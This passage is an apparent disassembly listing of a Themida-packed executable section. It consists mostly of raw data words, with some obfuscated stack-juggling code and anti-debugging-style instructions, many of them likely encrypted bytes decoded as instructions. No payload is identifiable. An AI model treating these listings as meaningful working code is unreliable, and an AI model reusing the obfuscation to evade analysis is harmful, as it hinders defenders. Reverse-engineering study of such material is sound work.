dd 0B40F1116h, 169D816Dh, 7A103F10h, 0C390AE3Bh, 161369Dh
dd 24520000h, 7D5F57C7h, 0A248B834h, 0D3A21271h, 0DBE313E3h
dd 0E850B001h, 647B5F52h, 76143BB2h, 9BF51347h, 0CDC9DA16h
dd 93E52766h, 7669D016h, 0BD3566D3h, 2FEE9Dh, 0ABCA0000h
dd 4003DB0Bh, 169BF5F0h, 947ABC8Dh, 0C1A9199Fh, 93F1BBE2h
dd 41724416h, 0B753C3h, 0AB0C25CDh, 0D9644F3Bh, 5F9DBD1Ch
dd 9Fh, 3BC7243Bh, 714E48B8h, 0E74B585Eh, 0D1323F77h, 0BF3C3561h
dd 0BD426F4Fh, 0F2A0E95Ch, 7A4B1086h, 0DBD6B555h, 1086F790h
dd 5E75A8ADh, 6AF47BD8h, 0C0309380h, 81B18535h, 9BC806BDh
dd 0E0B1169Eh, 0E858D5DEh, 582A6FD6h, 0C0D11691h, 9B1F142Ah
dd 0B3004A2Bh, 0FD2EDC4Ch, 6F700D7Dh, 70B7D3EFh, 10FFE86h
dd 0C3430000h, 0C6DC253h, 0CB2AF99Ch, 365BA5Bh, 0CD2D0293h
dd 0A8E3B85Dh, 700575F5h, 29CC3CC3h, 6B0A7AFAh, 2EC737B4h
dd 0C70AB9A5h, 0A6169D84h, 0C62457E5h, 1370BF56h, 2466D2A3h
dd 525F57C7h, 940465F1h, 2CCCDABBh, 6FD1E2FCh, 24C6B7FFh
dd 4188B312h, 7AA7169Ch, 0BE8F87F7h, 664CD91h, 9BC2FF96h
dd 0CD1693BDh, 0F7E0FE6Eh, 99A6BE07h, 0A7B9187Fh, 458F0B2Ch
dd 35197416h, 0D02E2D20h, 0DD8D1A68h, 585ECE2Ch, 71EC6176h
dd 994E020Fh, 7BD1F1h, 0ABE50000h, 4003DB0Bh, 16A265BBh
dd 2C457142h, 69B65FCFh, 199C9A0Ah, 65572D59h, 90624DD4h
dd 84B222A3h, 1FA6AC8Bh, 0CF8DD807h, 18DEE1Bh, 233B1484h
dd 4B3FAF0Eh, 94151E40h, 6D1DF224h, 0EFCF3FBCh, 38D242C2h
dd 2283E5FEh, 66487EA3h, 32CFD48h, 39841A3Bh, 23138301h
dd 0A0640D2Ah, 22210BFFh, 0F87B4C73h, 0B536ED88h, 0AF15145h
dd 0C5000000h, 6DDD624Fh, 80B65429h, 5ACA247Ch, 74E4475Ch
dd 63D33142h, 49B93E33h, 66D6544Dh, 4FBF4330h, 66D65A47h
dd 52C24330h, 7AEA4F64h, 8953783Ch, 4C381E3h, 83000000h
dd 1C8704EBh, 24248B24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], edx
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], edi
push 61B73ACh
mov edx, [esp]
add esp, 4
push esp
mov edi, [esp]
add esp, 4
push 242Bh
mov [esp], edx
pop dword ptr [edi+8]
mov edi, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
mov edx, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
jmp loc_581882
; ---------------------------------------------------------------------------
dd 73C1712Ch
; ---------------------------------------------------------------------------
loc_5E120C: ; CODE XREF: Themida_:005E0DB8j
mov eax, 61B7753h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
db 0A1h, 4Dh, 0FCh
dd 0BF433F55h, 2E63F50Bh, 0E37D8553h, 1640E851h, 0D1F90855h
dd 43EEBF4Ah, 0BDB6A00Dh, 0C290897Ah, 3DD3E724h, 23840A12h
dd 0B34C5B70h, 0FC711B59h, 0F8278D7Ah, 1271B14Fh, 0AC15B96Dh
dd 0F08D8D2Ch, 60061B78h, 0BE58BA66h, 5F5F5656h, 218D8961h
dd 31061527h, 151075B5h, 0CD85C706h, 0E4061504h, 6A000058h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h
dd 47000000h, 283C357h, 0A71BE593h, 15B58997h, 0E9061517h
dd 0Dh, 0D00D6B7Ah, 0CBFB1039h, 2FD59D81h, 1585C73Fh, 61511h
dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1B042444h, 40000000h, 3D81C350h, 4EC1D270h, 9529A7EBh
dd 6150561h, 1D45B5FFh, 0BF0F0615h, 9241B8D3h, 95FF373Bh
dd 61502C9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 14h, 7CC35545h, 95FF006Ah, 6152E21h, 0BEBC08Bh, 3250C9BBh
dd 895DB57Fh, 8D05669Ah, 1B79E78Dh, 51006A06h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 0AD442F54h
dd 0CCF1EF81h, 68E0F60h, 0F000000h, 8Eh, 0BE900h, 39660000h
dd 0B5F9955Eh, 0A9827BB7h, 0D18B6125h, 27218D89h, 6A0615h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
dd 0E46095C3h, 0CD85C772h, 54061504h, 6A00005Bh, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
dd 7655C353h, 8166D800h, 0C75738CBh, 15111585h, 6, 0B19D8B00h
dd 0FF06152Dh, 151D45B5h, 4D9D8B06h, 0FF06152Ah, 1502C995h
dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h
dd 0C3564600h, 0ADB58910h, 6A061518h, 2195FF00h, 8B06152Eh
dd 0B00BEBC0h, 25875D13h, 0ACF9DA0Dh, 0CE53B2EFh, 365DB162h
dd 0FAEB153h, 5657A030h, 56A75832h, 0A3D3B132h, 0F20CFC24h
dd 0C8CF7D23h, 56BA437Dh, 565DA0DBh, 11D9A832h, 0C5301E24h
dd 8D7B0ECAh, 9A72DB8Ch, 715A9A42h, 5675B36Bh, 20B43A32h
dd 560B2859h, 0D6FDD132h, 0AA0D75EAh, 59ABB153h, 56D5B6BDh
dd 5768BE32h, 0AE75B132h, 5642B132h, 5ADCBE32h, 59AEB132h
dd 5657B7B0h, 5624BE32h, 56D5B132h, 56FA5832h, 13ABB132h
dd 0D9DFD748h, 4BA9D25Ah, 13F368EBh, 62FCB855h, 56ABB16Fh
dd 620A5932h, 5FDE78C5h, 0FA8CB132h, 0D7BAEFD7h, 30381BC5h
dd 56CF42B9h, 56574932h, 36360052h, 56D5A5DBh, 7C6AD32h
dd 0B7F4D67Fh, 2B323CE2h, 885FD558h, 832A5FCCh, 8DEED7B2h
dd 56CAD0F2h, 56DF5832h, 864B132h, 0BD4AE6EEh, 8F8C4554h
dd 0DC52B132h, 56AEB136h, 37863B52h, 0D0A4B132h, 56D5B13Ah
dd 56E8373Dh, 3715B132h, 5053B132h, 5C5DB132h, 0A1009907h
dd 40D4BE21h, 59ABB132h, 56D5A1B8h, 56E15832h, 6A06B132h
dd 0CF705E26h, 0AE8BD1E5h, 36AEB15Ah, 3736D152h, 376A0E3Dh
dd 0AEB5B132h, 598AD0CBh, 56147685h, 5738BE32h
db 32h, 0B1h
word_5E156A dw 0A35Dh ; DATA XREF: Themida_:0057B04Co
dd 0DEA1B132h, 5657B123h, 56ABBDDBh, 0B354A32h, 0D38220B4h
dd 8C0B21DFh, 36BAB17Eh, 564F5864h
; ---------------------------------------------------------------------------
loc_5E158C: ; CODE XREF: Themida_:005E159Ej
xor dh, [ecx-3A0BA92h]
jl short loc_5E160B
xchg eax, ebp
cld
mov byte ptr [ecx+2A315BA6h], 0CCh
dec ebp
loope loc_5E158C
imul ebx, [eax+72h], 56h
xor dh, [ecx-7A1C1A08h]
int 3 ; Trap to Debugger
js short loc_5E15CA
shr byte ptr [esi-51C5ADAAh], 1
pop ecx
mov eax, 3256ABA0h
pop eax
fst dword ptr [esi+32h]
mov cl, 26h
cmpsb
; ---------------------------------------------------------------------------
dd 4050A76Fh, 22808Fh
db 63h, 6
; ---------------------------------------------------------------------------
loc_5E15CA: ; CODE XREF: Themida_:005E15ABj
cmp al, 0AAh
xor dh, [ecx-4ECDA6B9h]
push edi
clc
mov ds:0E0CCC71h, eax
mov esp, 954BA3DEh
pop ecx
and eax, 0EE15EF49h
in eax, dx
jge short loc_5E1637
xor dl, [edx-29h]
in eax, 7Bh
into
pop eax
mov edi, 0ACB13256h
rcl dword ptr [ecx-3CAAB26Dh], 1
or [edi], esi
; ---------------------------------------------------------------------------
db 0C5h
; ---------------------------------------------------------------------------
idiv dword ptr [esi-75h]
adc bl, [ebp+3Ch]
enter 5337h, 0B1h
mov edx, 5DBDB259h
loc_5E160B: ; CODE XREF: Themida_:005E1592j
push esi
xor bh, [esi-4ECDAFDAh]
push edi
pop ecx
mov esp, 3256ABB1h
mov cl, 0D5h
mov edi, 56EAB13Fh
arpl [eax], ax
and ah, cl
push 7EDF3DC0h
icebp
wait
mov al, 1Dh
mov cl, 0AEh
stosb
xor dh, [ecx-4EC520A8h]
stosd
loc_5E1637: ; CODE XREF: Themida_:005E15E5j
push esi
cmp eax, 3256D733h
mov cl, 8Ah
aaa
xor dh, [ecx-4ECB2286h]
mov edx, 9C3A5256h
add eax, 56AED06Bh
mov dword ptr [ecx-4ECD51A9h], 0B133DFA4h
aad 56h
into
mov bl, 0EAh
push esi
xor dh, [eax-3]
inc ebx
insb
xor [edx-7Ch], esi
push ebx
mov cl, 5Dh
db 36h
push esp
xor [esi+72h], dh
iret
; ---------------------------------------------------------------------------
db 0D0h, 8Fh, 51h
dd 56A8B137h, 56C5B135h, 56F2B12Dh, 567EB037h, 59DAB132h
dd 565DB1BBh, 8C5E3132h, 0A357B153h, 37CBD152h, 9DCE71B3h
dd 308BD3E3h, 37F75789h, 30DAB132h, 59DC53B3h, 0AACF4BB9h
dd 3037B132h, 0AF2046B9h, 4152BE53h, 59EAB132h, 5675A0B4h
dd 56B65832h, 142B132h, 0EC2176BAh, 762FC4Dh, 56AB0DA6h
dd 0A3D5B1CBh, 308AB132h, 56146EB9h, 56B8E632h, 15DB1CBh
dd 83825730h, 0D731805Ch, 375D2AF3h, 453CB132h, 0E5EAB132h
dd 0C4EB566Fh, 90E8A41Ah, 563B5E52h, 0EEE49B5Ah, 6C79327h
dd 9D20D160h, 56C158AEh, 0A3C6B132h, 276D4AB8h, 0FB7E6664h
dd 0FF6DC2D0h, 33F27E1Ch, 0B6D65A08h, 1E36E134h, 56D5BDDBh
dd 0C4F74532h, 886CD151h, 0BC6F3D8Dh, 593C2CE9h, 6FCE103h
dd 0C66BE60h, 69ABE6Ah, 0CE4BE60h, 0CB2EB6Ah, 615E16Ah
dd 0D703A54h, 0C63C7582h, 0E970A852h, 8DBD64BEh, 0EF1E968h
dd 6E4BEA4h, 56E35860h, 3458B132h, 0F89301C1h, 59B86D7Dh
dd 59FCE103h, 0C0FEB03h, 0C6F3EB6Ah, 94D81505h, 58E3A1E1h
dd 59B08D1Dh, 56BC5803h, 71BBB132h, 95DCCCE6h, 12DEE968h
dd 4242B516h, 3AD5B132h, 0ED17B07h, 52622783h, 260993DFh
dd 0CA52DFDBh, 0E85CB97h, 12006732h, 0E58D31Fh, 0BF10C9DCh
dd 56EAB134h, 0DB510684h, 3727E270h, 40D803Dh, 56AEBEDBh
dd 97FF7A32h, 0ABFF1654h, 0AF15F2C0h, 0E3062E0Ch, 425803Dh
dd 0EE0803Dh, 0E07E968h, 9980186Ah, 0BD6DD46Eh, 92F3D0AFh
dd 5992671Bh, 0A9BA9D3Fh, 4DCF2AE2h, 37983F09h, 0DA52B132h
dd 56AEB125h, 56595852h, 0B833B132h, 3E21010Ch, 237869Ch
dd 625AF593h, 56DBD052h, 5DDEBE32h, 0BFAEB132h, 5657B134h
dd 0EB23FCCAh, 56D5B6B1h, 0BFEAB1C7h, 5675B120h, 7B60E8DCh
dd 0D20C7427h, 7BBF56C4h, 0F3ACDB68h, 56AB8819h, 59D5B1C7h
dd 56EAA8BFh, 56615832h, 0A338B132h, 377A9D58h, 1C46069Eh
dd 0F51513CCh, 0C0093B9Dh, 562D3350h, 56EA4D32h, 36843B52h
dd 56BABADBh, 0CB48C432h, 95A4CEB3h, 7A1B2471h, 3D443054h
dd 59B4D069h, 56EAB0BCh, 56754D32h, 36BAB1C7h, 0B0500F54h
dd 56AD3D3Dh, 0BED7B132h, 56ABD026h, 56D43B3Dh, 5613B132h
dd 46F0BE32h, 0BFBAB132h, 565DB139h, 855E13E6h, 0DD6D08F9h
dd 564EF80Bh, 56C65832h, 0FBDDB132h, 543047D0h, 0CE7FB387h
dd 9E5914B8h, 0A9053D7h, 0BF57B1B7h, 56ABB13Ah, 0ACE71C35h
dd 4F50682Eh, 0DD7AB132h, 56BAB138h, 565DB4DBh, 41DE432h
dd 56571776h, 0B12BD152h, 565ABE70h, 37EAB132h, 5675B6DBh
dd 793E4932h, 23E678C6h, 59AEB153h, 5657BDB6h, 5024BE32h
dd 59D5B132h, 56EAB1BDh, 56705832h, 25EDB132h, 56F16CCDh
dd 5E27BE32h, 5957B132h, 56ABB3BCh, 56B4D132h, 56F85832h
dd 0E237B132h, 0D48D2C69h, 0A660B03Fh, 3D7A0436h, 4A3023E5h
dd 5C42B132h, 8FD5B132h, 64D19E23h, 0ADF3369Ah, 0BFBAB1A3h
dd 565DB134h, 0AFF24373h, 5657C53Ch, 0BFABB1CEh, 56D5B13Ah
dd 0E9CE7414h, 36F39B1Eh, 4753B132h, 0AC5DB132h, 0C02E9AD4h
dd 0A7874442h, 309FC15Dh, 0BF58D2BDh, 5612B132h, 56785832h
dd 1A3BB132h, 9458BFCAh, 0DF9FED18h, 56EC1CF4h, 5E2FBE32h
dd 59D5B132h, 56EAB3BDh, 3614D132h, 56B8313Dh, 90D6B132h
dd 87950A54h, 5957B153h, 56ABACBAh, 453DD132h, 6FEAB132h
dd 3595B094h, 123B31DEh, 48F3E0BDh, 0B69EDDF7h, 60F214Ah
dd 56ABD068h, 0AED5B1CBh, 0E1E5E652h, 0A3F5EFC8h, 56BAD0CDh
dd 565C3A3Dh, 5657B132h, 57D0BE32h, 0AEABB132h, 562CB132h
dd 59B8D132h, 5675B1BCh, 0D1B5EF32h, 565DB122h, 56AEBBDAh
dd 642A9132h, 0F69CCA98h, 0E940123h, 36EAB153h, 25C04AB9h
dd 59BAB153h, 565DA6B5h, 56BC5832h, 0B9E8B132h, 0E2E943Dh
dd 54D15681h, 26214D0Ch, 0C9569922h, 5646B132h, 565D4D32h
dd 850F0E52h, 504A9FEh, 56CAEE6Ah, 0D7B3D132h, 0BE6352F8h
dd 5675B13Bh, 286433DCh, 3F645A2Ah, 8019BE5Bh, 5BBED06Ch
dd 0ABABB132h, 0F515DC3Eh, 0C17C6017h, 3CFDC5Ch, 0D6DAB132h
dd 0AE3C9FE1h, 5E47B132h, 6057B132h, 63372C2Ch, 56574418h
dd 56EA4D32h, 56665952h, 8EAFB132h, 6A3BD220h, 71BFB0ABh
dd 59E9177Eh, 4B8CA948h, 9054D768h, 0EFB2667Ch, 6CAEB4BAh
dd 0AABAB153h, 565DBEDBh, 0CBE3E632h, 0C88E393Bh, 0B47C4A1Eh
dd 0F537D9BAh, 0BF8AB132h, 5675B126h, 1F6D79C4h, 7E3C7A29h
dd 1832B128h, 28C92A2Ah, 0F3D584EAh, 0D9DAD0C7h, 56EAB133h
dd 0BF75B1CBh, 56BAB13Eh, 0ABCF3445h, 5424BE7Ch, 601B26A6h
dd 0D1A4B132h, 56D5B13Eh, 56EAB6DBh, 3139A732h, 6A47B954h
dd 58B4B132h, 0BFAEB132h, 224FD0E9h, 0AE31B253h, 876ACE6Eh
dd 0AEEAB11Ah, 5689B132h, 56BA4D32h, 565358CBh, 7971B132h
dd 33A173ABh, 0D0676C6Dh, 7E399A10h, 4203B132h, 0C75B132h
dd 33DF0566h, 796E1FFEh, 0BA37005Fh, 0F623F844h, 560F6706h
dd 0DDB3D132h, 56EAD0FDh, 98C2BE52h, 36DB45B8h, 565E3A3Dh
dd 9E2EB132h, 50D5BEE1h, 59ABB132h, 56D5B1B7h, 56EAD032h
dd 3675B1CEh, 59793A54h, 565DB1B1h, 56AED032h, 3657B1C7h
dd 0DD7A3054h, 56D5D04Ch, 59EAB1CBh, 5675B6B7h, 5738BE32h
dd 0A35DB132h, 0A3AEB1CEh, 56AEB132h, 3057D132h, 25CE6BB3h
dd 0BFEAB153h, 5675B134h, 0A779F15Dh, 565DBA4Ah, 56AE48CEh
dd 5957B1CAh, 56ABB0B5h, 56D54D32h, 36EAB1CEh, 56783E3Dh
dd 5E53B132h, 915DB132h, 1B55A3B2h, 307EBD4Bh, 37F44488h
dd 59D5B1C7h, 56EABBBFh, 3715D132h, 56BA303Dh, 563CB132h
dd 56A35832h, 3FFDB132h, 0B3FCA396h, 1D39EDE5h, 56310B01h
dd 5EFEBE32h, 59BAB132h, 565DB3B8h, 56CFD132h, 57D3BE32h
dd 0AEABB132h, 8754D752h, 0DDE5EC3Ch, 5675B131h, 377D0E3Dh
dd 56A4B132h, 4A27BE32h, 3657B132h, 4542D052h, 5D5B132h
dd 9C8DC1EAh, 4B42DFB3h, 50ED1C18h, 0A9DD3B37h, 59CFABB2h
dd 5657ABB4h, 5142D132h, 0EBD5B132h, 570D97A7h, 509D3B65h
dd 73BAB132h, 7D7EE575h, 56CFEE9Dh, 56AE4432h, 4526BE32h
dd 36D5B132h, 7EDF0854h, 5675B9DBh, 57D61532h, 73B7065Ch
dd 56AED040h, 565F333Dh, 0DFA4B132h, 56D5B130h, 56EAD052h
dd 5675BEDBh, 11D70C32h, 0A9DCAC9Eh, 393C1EE9h, 469DC579h
dd 36CBB132h, 0DD6952B2h, 3716D0C5h, 9FA43052h, 59FE7C9Fh
dd 565DB0B4h, 56CF4D32h, 56595832h, 132DB132h, 68800CA0h
dd 21EACADFh, 911B20C6h, 0BEDAB132h, 565DB139h, 0D0B0608Fh
dd 73F1142Eh, 0A3B04614h, 593CD069h, 3FEAB132h, 89B19EE6h
dd 248C5E82h, 0C63B8ECEh, 56AE9EC3h, 9F953052h, 30FE222Ch
dd 56B47EB9h, 56EA4932h, 56645852h, 5B6DB132h, 0A2AEC136h
dd 7DCC78DFh, 75B7709Eh, 0BFE61D65h, 56D5B13Eh, 0EC4B03CEh
dd 0CA9505A3h, 4525FD1Ch, 0AE5DB153h, 0DDA1B132h, 5657B123h
dd 56A0343Dh, 503CB132h, 9BEAB132h, 0EA7B005Ah, 59BAB162h
dd 565DB6B4h, 5721BE32h, 0AE57B132h, 5142B132h, 1FD5B132h
dd 0B37401FAh, 5675EE4Ah, 36BAB1CEh, 30973A54h, 4DAD60B3h
dd 5957B153h, 56ABA4B5h, 56C55832h, 56A1B132h, 3D241395h
dd 0A9CC8BE0h, 0B9BBB7D4h, 56AEA0BEh, 3657B1CEh, 0A820EA60h
dd 59D5B153h, 56EAB6BBh, 0DD13D132h, 37D107F4h, 595DB1CBh
dd 56AEA1B1h, 5CD2BE32h
dd 0BFABB132h, 56D5B137h, 8EF9AC04h, 3675B102h, 8E124C8Ch
dd 0A5D6D70Eh, 36AEB153h, 0BF900E3Dh, 56ABB137h, 0ED8EDB88h
dd 56EAD0FDh, 5674333Dh, 3643B132h, 36830E3Dh, 0D66F0489h
dd 56D1BE27h, 37ABB132h, 0BFD5B153h, 56EAB139h, 2F704ED9h
dd 0E5CAF5A6h, 564E522Dh, 56AE4832h, 87DCD752h, 56ABBEDBh
dd 6D57FC32h, 93EFD2B5h, 0C7FB1F73h, 0FCAEE812h, 595DB153h
dd 56AEB0B0h, 59374932h, 56ABB4B0h, 0B754D732h, 1F5389DFh
dd 3710F4FEh, 0D2B5B132h, 565DB13Eh, 9715D752h, 689130B7h
dd 37A2532Ch, 0DB023152h, 56E8353Dh, 922B132h, 0BFBAB153h
dd 565DB139h, 2D7B70C9h, 0D0E36E5Ah, 5667A468h, 5758BE32h
dd 0A3EAB132h, 0D37AB132h, 56BAB13Eh, 565B373Dh, 0D5A1B132h
dd 5657B132h, 3657B132h, 56C23F3Dh, 4702B132h, 3F75B132h
dd 3A81C094h, 129C997Ch, 0D08E097Dh, 98A290Ch, 0C44A3069h
dd 37B55244h, 4703B132h, 9175B132h, 0A6A5BB21h, 1EB0BC04h
dd 0A6509917h, 0E9F8CF6Dh, 0D6A4B132h, 56D5B13Eh, 56EC393Dh
dd 0DA7AB132h, 56BAB132h, 56A1B132h, 56AE4432h, 564D3F3Dh
dd 59CBB132h, 56D5B1B9h, 56E75832h, 0BBDDB132h, 33D2C007h
dd 0BD057CA3h, 379802CBh, 0D637B132h, 0DDCDB6FCh, 56D5D0E5h
dd 56EF353Dh, 5915B132h, 36DB728Dh, 0DD7678B2h, 56AED0CAh
dd 55D6BE52h, 30ABB132h, 5E3D79B9h, 17EAB132h, 74023F2Eh
dd 0C5E9800h, 0BF5DB153h, 56AEB13Eh, 0C45428ECh, 6D80B29h
dd 1F58720Eh, 0D5E5B132h, 5675B133h, 0A3BAB1CBh, 0BFA8B132h
dd 56AEB126h, 4D47A81Dh, 7BA7212h, 0F8F5A10Ah, 0AADA090Dh
dd 921E4247h, 0D4B5B132h, 565DB133h, 56BA58CBh, 0E86AB132h
dd 0F4113966h, 6D7332D4h, 2D918F09h, 0FD2B26B4h, 56BA885Ch
dd 56453F3Dh, 0BECEB132h, 5657B122h, 5EF7E2A0h, 8657D1B1h
dd 85392916h, 1F623FCEh, 56BAD069h, 5651313Dh, 0DFA1B132h
dd 5657B134h, 56AB363Dh, 36B5B132h, 56EAA1DAh, 0D5DAC332h
dd 7C6C738Bh, 3CC35E9Ah, 75AD49B5h, 0D731EAFAh, 37BD5BF9h
dd 56B473B9h, 5B02D132h, 6875B132h, 0C095C7D8h, 6D065BE7h
dd 0EB252FACh, 5657BFDAh, 7B472F32h, 0F5515D75h, 0F4D10E7Bh
dd 9E4D62Fh, 0E305D768h, 565DD0D1h, 5E46D1CBh, 0F757B132h
dd 674C67BBh, 599CED10h, 30B4608Dh, 56147AB9h, 56BF5832h
dd 0AC35B132h, 56DAD8A8h, 5ED6BE32h, 59ABB132h, 56D5B3B5h
dd 568BD132h, 57F7BE32h, 0AFBAB132h, 303DB132h, 0DD22AE8Ch
dd 5657D0E5h, 56B9383Dh, 5B3CB132h, 0D0EAB132h, 0E699C244h
dd 5D847A20h, 0BAA57B7Eh, 565BB132h, 56574832h, 5E2CBECAh
dd 59D5B132h, 56EAB3BDh, 5614D132h, 5E3DBE32h, 595DB132h
dd 56AEB3B5h, 5636D132h, 8E2AD132h, 0C24973Bh, 0BE6BD763h
dd 372FA2E4h, 0D9B5B132h, 565DB133h, 36AEB1CAh, 5657BBDBh
dd 0F5B16C32h, 0FFDF5C35h, 0E63BE2CFh, 5675D0DBh, 0A3E84452h
dd 565DD068h, 3B613052h, 0E143F322h, 56ABD049h, 56C23C3Dh
dd 0DCE5B132h, 5675B123h, 56BABDDBh, 0DD6FB532h, 55337E83h
dd 0AB116744h, 59ABB128h, 56D5B2BDh, 3713D132h, 5E9CB132h
dd 0D2BAB132h, 0A3C2AF5Ah, 569DFCD7h, 57D4BE32h, 0AAABB132h
dd 0D0DAB132h, 56EAB135h, 0D68C3B52h, 36DB52E7h, 0EE3B72B9h
dd 56CFA3D3h, 8FD7D132h, 9C3208DDh, 56B4FCB8h, 56E45832h
dd 5A98B132h, 0F09AA9CFh, 5EEB6538h, 4E9CFA1Fh, 56A2B132h
dd 5B42D132h, 0A9D5B132h, 69F8CDEAh, 792F910Eh, 0F2B6CF58h
dd 565E393Dh, 0DDC8B132h, 0D458D0CCh, 56ABB13Ah, 4A243052h
dd 37E62619h, 5915B132h, 56BAB2BDh, 40953132h, 5A5D3054h
dd 5657D0D8h, 56ABBADBh, 0B9131A32h, 0F8C3DDDEh, 1F1136D4h
dd 0D6B5B132h, 565DB135h, 59F1E152h, 56364E85h, 56AB4932h
dd 56D5B6DBh, 149E5232h, 0E959F387h, 5353B132h, 0FB5DB132h
dd 9A20B287h, 56AFB132h, 56AC5832h, 0F1F2B132h, 6E99B391h
dd 3675B160h, 563DBE64h, 0C5DB132h, 0BFAEB153h, 5657B135h
dd 648716B8h, 56AF5AF1h, 0E9E5D132h, 0D713D1ECh, 308B31E5h
dd 5AE158B3h, 56AED053h, 5657B8DBh, 0DDDC0C32h, 0FE334876h
dd 56EA0C49h, 3675B1CEh, 56BAB9DBh, 0CC049F32h, 87F2FBA4h
dd 56364D3Dh, 0DCA4D132h, 56D5B132h, 39353054h, 5675D030h
dd 0F7CD0E52h, 5CB4A048h, 15AEB132h, 0F7D77D65h, 4BBC838Ah
dd 56D5D078h, 56EABBDBh, 1D417232h, 29555C9h, 5640F2B9h
dd 56BD5832h, 23CDB132h, 0B948AA93h, 0E9F2FB91h, 11F3BDFBh
dd 5E59B46Ah, 0AFBAB141h, 0D752B132h, 56AEB121h, 5657BFDBh
dd 201A9132h, 72EB4B76h, 85471F0Ch, 5654B224h, 5C33BE32h
dd 365DB132h, 0BF403054h, 85DCD798h, 59ABB153h, 56D5B0B3h
dd 56124432h, 0D47AD132h, 56BAB134h, 565D3E3Dh, 0E217B132h
dd 3725D883h, 5142B132h, 0C9D5B132h, 1317E27Bh, 5675D3F5h
dd 56BAB8DBh, 0E02F9132h, 9FF3C49Ch, 5657E5C0h, 56BD353Dh
dd 0BFB5B132h, 56EAB13Dh, 954BE286h, 563B9525h, 1EE9080Fh
dd 377572D0h, 56A2B132h, 5829BE32h, 0BFD5B132h, 56EAB13Bh
dd 0C0BEFBDDh, 0A3F0A82Bh, 595DB190h, 56AEA9B6h, 56445832h
dd 0CD87B132h, 134AFC0h, 9EE4F4D8h, 0A28B76Dh, 462EA4E0h
dd 0AA5DB17Eh, 5652B132h, 56455832h, 57D9B132h, 425AF006h
dd 0BCD6902h, 0E63BB501h, 0A99633D6h, 51B4B132h, 9CAEB132h
dd 23F104BCh, 56AB7CD7h, 4659BE52h, 0BFEAB132h, 5675B139h
dd 72AB1DA9h, 5CA569F9h, 37B36CC4h, 0D558B132h, 56ABB138h
dd 0C4070B52h, 0E1E5ABFDh, 5675D0FBh, 0BFBAB1C7h, 565DB13Bh
dd 69E9F7E2h, 41D5E029h, 0BFABB15Fh, 56D5B13Dh, 770B313Eh
dd 16A7784Fh, 5261F73Eh, 59154984h, 56AEA8B7h, 56435832h
dd 7A6CB132h, 1B266660h, 0FBB195D3h, 0DB4B440Ch, 0D30AA424h
dd 565D9D57h, 56AF303Dh, 0AEA2B132h, 0A357B132h, 593CB132h
dd 6AEAB132h, 0DA6BA61Fh, 49FB15A4h, 25E82C93h, 56AE14E7h
dd 56445852h, 0EB62B132h, 0B52F3228h, 0A774550Eh, 0A3B09FFh
dd 0A5D3E247h, 50DBBEADh, 59AEB132h, 5657B1B4h, 56ABD032h
dd 56DD3E3Dh, 0DCE5B132h, 5675B130h, 5642D052h, 564D5832h
dd 3DB1B132h, 6218C142h, 956EFED5h, 0AA96AD96h, 56EAA8ACh
dd 0BE360952h, 5352D273h, 0C45DB132h, 7CF83D8h, 3636EEC7h
dd 20D53188h, 8154D708h, 568B07A2h, 56754D32h, 36BAB1C7h
dd 0B6DC70B9h, 2F592D86h, 0BF57B153h, 56ABB121h, 7B06E302h
dd 0FB99BC06h, 0AB728234h, 0C543BA23h, 599C2E38h, 56AEB0B1h
dd 56574932h, 5C26BECEh, 0BFD5B132h, 56EAB137h, 5BD8A9D2h
dd 0AEBAB1E0h, 0D652B132h, 56AEB135h, 56563C3Dh, 5653B132h
dd 5155BE32h, 59EAB132h, 5675B0B8h, 56BA4832h, 56503C3Dh
dd 5E47B132h, 0C257B132h, 0CBBEC464h, 56DFCEB3h, 0B76AD132h
dd 5675D013h, 97304452h, 90D6D153h, 3761063Dh, 56AEB132h
dd 0E9A4D132h, 56C558F8h, 7998B132h, 8D52C7E0h, 0CD69B105h
dd 0AC2750F9h, 56CF3EA6h, 565B5832h, 580B132h, 0F5FD21F5h
dd 370F207Fh, 0D47A36B0h, 56BAB12Ah, 565DA2DBh, 4E25CA32h
dd 5B53395Ch, 85059DF1h, 0B99CC25Bh, 0E680F0DBh, 0BF15B132h
dd 56BAB126h, 0DAC6078Bh, 0FE9D102Fh, 0BD6CC76Ch, 0CF79C900h
dd 0CB79767Dh, 0E060A54h, 567D5853h, 3B11B132h, 0E9097287h
dd 56AE6EAEh, 5649373Dh
dd 0D3A4B132h, 56D5B12Ah, 56EAA2DBh, 0A41E8032h, 695C277Ch
dd 1CC8B892h, 0D6FCE6ABh, 0C4DEF4C5h, 5B42B132h, 55D5B132h
dd 8D6F9721h, 5B0EE6Fh, 40E0F00Bh, 0BEA53A52h, 56AEB138h
dd 0EB57B0F4h, 6CE61379h, 9454A0F5h, 6B027CEBh, 5675D06Ah
dd 56B43E3Dh, 5FB4B132h, 8AAEB132h, 399D6C57h, 92C474C1h
dd 5629B132h, 56EA4D32h, 5675B4DBh, 0F4F0E532h, 56A87BE4h
dd 56BF5832h, 0E8C5B132h, 95D01771h, 209D39F0h, 419BFBCFh
dd 56F9F160h, 0E1B5D132h, 565DD0F5h, 56AE44C7h, 5657A3DBh
dd 0D2641332h, 7F8597D6h, 7F9EF198h, 9FB6A9D4h, 56774DDAh
dd 50B4D132h, 65AEB132h, 59936ECAh, 0A94F0892h, 56B488AFh
dd 0E1E5D132h, 375301F9h, 5943B132h, 565DA8BCh, 56BA5832h
dd 4C5EB132h, 81DC9805h, 487A664Ch, 936632A6h, 6D49D910h
dd 56BA49BBh, 565DA5DBh, 989A2932h, 0CCD7CEE5h, 6BB13E15h
dd 63E124E9h, 0BC7E300h, 5975B183h, 56BAB9BFh, 0D452D132h
